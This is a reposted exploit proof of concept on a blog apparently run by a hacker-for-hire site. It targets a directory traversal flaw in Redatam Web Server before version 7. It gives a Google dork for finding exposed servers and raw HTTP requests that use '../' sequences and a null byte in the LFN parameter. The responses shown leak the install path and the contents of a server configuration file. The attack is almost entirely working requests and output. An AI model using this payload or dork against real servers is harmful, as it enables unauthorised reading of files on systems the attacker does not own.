Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863552148

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Redatam Web Server < 7 - Directory Traversal
# Google Dork: inurl: /redbin/rpwebutilities.exe/
# Date: 2018-06-18
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://redatam.org/redatam/en/index.html
# Software Link: https://www.cepal.org/en/topics/redatam/download-redatam
# Version: before V6
# Tested on: Pardus Windows AppServ
# CVE : N/A

# Proof of Concept
# Redatam web server windows server running LFN parameter affected by directory traversal
# Making a wrong request causes directory leak

# Request

GET /redbin/rpwebutilities.exe/text?LFN=blablabla%00.htm&TYPE=TMP HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Jun 2018 10:04:44 GMT
Server: Apache/2.4.23 (Win32) PHP/5.6.25
Content:
Content-Length: 416
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<heading/>
<body>
<h1>R+SP WebUtilities Exception</h1>
<p>Error Number [401]</p>
<p><b>Error Message</b></p>
<p>File not found in folder [C:\wamp\apps\redatam\redbin\] - [blablabla]

Script directory /wamp/apps/redatam/redbin/

# Request 2

GET
/redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl%00.htm&TYPE=TMP
HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# Response 2

HTTP/1.1 200 OK
Date: Mon, 18 Jun 2018 10:11:44 GMT
Server: Apache/2.4.23 (Win32) PHP/5.6.25
Title:
../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl
Content:
Content-Length: 2319
Connection: close
Content-Type: text/html; charset=utf-8

[STRUCTURE]
USERCONTROL=YES
GROUPALIGN=LEFT

SERVERTIMEOUT=1800

HTMLPATH=RpSite\

PORTALTITLE=CELADE/CEPAL, Nações Unidas
PORTALSUBTITLE=Procesamiento En-Línea com REDATAM

//PORTALCENTERIMAGE=/redatam/images/LogoRedatam7_520x390.png
//PORTALBACKGROUNDHEADERIMAGE=
//PORTALBACKGROUNDINDEXIMAGE=
//PORTALBACKGROUNDOUTPUTIMAGE=